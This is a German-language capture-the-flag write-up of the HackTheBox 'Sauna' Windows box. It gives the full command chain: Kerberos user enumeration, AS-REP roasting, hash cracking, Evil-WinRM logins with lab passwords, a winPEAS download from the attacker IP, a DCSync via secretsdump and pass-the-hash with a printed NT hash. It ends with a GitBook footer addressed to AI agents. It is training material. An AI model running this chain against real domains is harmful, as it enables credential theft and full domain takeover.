> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md). # Sauna HackTheBox Ausarbeitung {% embed url="" %} {% hint style="warning" %} **Fähigkeiten**: * Informationsleck * LDAP-Enumeration * Kerberos-Benutzer-Enumeration - Kerbrute * AS-REP-Roasting-Angriff (GetNPUsers) * Hashes knacken * System-Enumeration - WinPEAS * AutoLogon-Anmeldedaten * BloodHound - SharpHound.ps1 * DCSync-Angriff - Secretsdump (Privilegieneskalation) * Pass-the-Hash {% endhint %} ## Aufklärung **Einrichtung des Arbeitsbereichs:** Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindung prüfen** Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

**Offene-Ports-Ermittlung mit Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts ```

**Analyse offener Ports mit extractport:**/ Mit der extractport-Funktion offene Ports in kompakter Form anzeigen und in die Zwischenablage kopieren.

**Port- und Versionsscan mit Nmap :**/ Nmap verwenden, um Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49675,49676,49677,49736,49802 10.10.10.175 -oN targeted ```

## **Auflistung und Ausnutzung:** ### **SMB-Aufklärung:** CrackMapExec verwenden, um das Betriebssystem zu identifizieren ```bash crackmapexec smb 10.10.10.175 ```

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` vorhandenen Benutzern.

#### Erkundung der SMB-Freigaben im Netzwerk, um freigegebene Ressourcen zu identifizieren, jedoch ohne Ergebnis. ```bash crackmapexec smb 10.10.10.175 --shares ```

```bash smbmap -H 10.10.10.175 -u 'null' ```

```bash smbclient -L 10.10.10.175 -N ```

### **RPC-Aufklärung:** Verwendung von rpcclient zur Interaktion mit CPP-Diensten und zum Sammeln von Ressourceninformationen ```bash rpcclient -U "" 10.10.10.175 -N enumdomusers ```

### **LDAP-Aufklärung:** {% embed url="" %} #### Analyse von LDAP-Informationen für Details zur Domänenstruktur und zu Benutzern. ```bash ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts ```

**Analyse von LDAP-Informationen** Analyse von Details zur Struktur der Domäne und zu Benutzern. ```bash ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL ``` **LDAP-Benutzerfilterung** Filter, um nur LDAP-Benutzer zu erhalten. ```bash ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN=" | sed 's/dn: CN=//;s/,DC=EGOTISTICAL-BANK,DC=LOCAL//' ```

### Benutzerliste:

#### Erstellen Sie eine `users.txt` Datei mit potenziellen Benutzernamen. ``` hugosmith h.smith hugo.smith hsmith fergussmith f.smith fergus.smith fsmith hugobear h.bear hugo.bear hbear stevenkerb s.kerb steven.kerb skerb shauncoins s.coins shaun.coins scoins bowietaylor b.taylor bowie.taylor btaylor sophiedriver s.driver sophie.driver sdriver ``` ### **Benutzerliste über Kerberos** Verwenden von `kerbrute` um gültige Benutzer aufzulisten. ```bash ./kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 users.txt ```

### **Benutzerliste über Impacket** Verwenden von `impacket-GetNPUsers` um gültige Benutzer ohne Passwörter aufzulisten. ```bash impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt ```

### Brute-Force-Angriff: John verwenden, um den wiederhergestellten Hash zu knacken.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

#### Verbindung und Fernsteuerung WinRM verwenden, um sich aus der Ferne zu verbinden. ```bash crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ``` #### Es funktioniert, aber ohne die pwned-Markierung ist keine Verbindung über WinRM möglich.

In diesem Beispiel ist die Verbindung möglich, weil der Benutzer fsmith Mitglied der Gruppe /\*Remote Management Users ist ```bash crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ```

#### **Anmeldung mit Evil-WinRM** Evil-WinRM für eine interaktive Verbindung über WinRM verwenden. ```bash evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ```

## Privilegieneskalation: #### **Überprüfung besonderer Privilegien:** Verwenden von `whoami /priv` um besondere Privilegien zu überprüfen.

#### **Nach neuen Benutzern suchen** Verwenden von `net user` um nach neuen Benutzern zu suchen.

**Suche nach Anmeldedaten für den Benutzer "svc/ loanmgr"** ### **Erkennung mit** winPEAS.exe {% embed url="" %} winPEAS-Aufklärungstool herunterladen und ausführen ```bash Invoke-WebRequest -Uri "http://10.10.14.4:445/winPEASx64.exe" -OutFile "winPEAS.exe" ./winPEAS.exe ```

### Überprüfung der mit crackmapexec gefundenen IDs: Automatische Anmeldedaten für Benutzer `svc_loanmgr` wurden gefunden, mit dem Passwort

#### crackmapexec verwenden, um zu bestätigen, dass das Passwort korrekt ist. ```bash crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' ```

### Verbindung mit den „svc/ loanmgr“-IDs: ```bash evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' ```

## Domänenliste mit BloodHound:

Installation von BloodHound:

```bash apt install neo4j bloodhound neo4j console &> /dev/null & disown lsof -i:7474 ``` #### Verbindung zu BloodHound mit den Anmeldedaten neo4j:neo4j.

#### BloodHound wird gestartet. ```bash bloodhound &> /dev/null & disown ```

### Informationen mit SharpHound.ps1 sammeln {% embed url="" %}

### Übertragung der gesammelten Daten nach Linux und Import in BloodHound #### Eine ZIP-Datei mit den Ergebnissen der Sammlung erstellen. ```bash Import-Module ./sharhound.ps1 Invoke-BloodHound -CollectionMethod All ``` #### Die ZIP-Datei vom Windows-Rechner nach Linux herunterladen. ```powershell download PS C:/windows/temp/privesc/file.zip file.zip ``` #### ZIP-Datei in BloodHound importieren.

### Analyse und Vorgehen: #### Nach dem kürzesten Pfad zur Administration filtern

#### Das Tool zeigt die Möglichkeit an, einen DCSync-Angriff durchzuführen.

## DCSync-Angriff über die Schwachstelle: {% embed url="" %} #### secretsdump verwenden, um den NT-Hash des Administrator-Benutzers zu erhalten. ```bash impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175 ```

#### psexec verwenden, um eine cmd als Administrator mithilfe des NT-Hashes auszuführen. ```bash impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e ```

### Finale Flagge :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.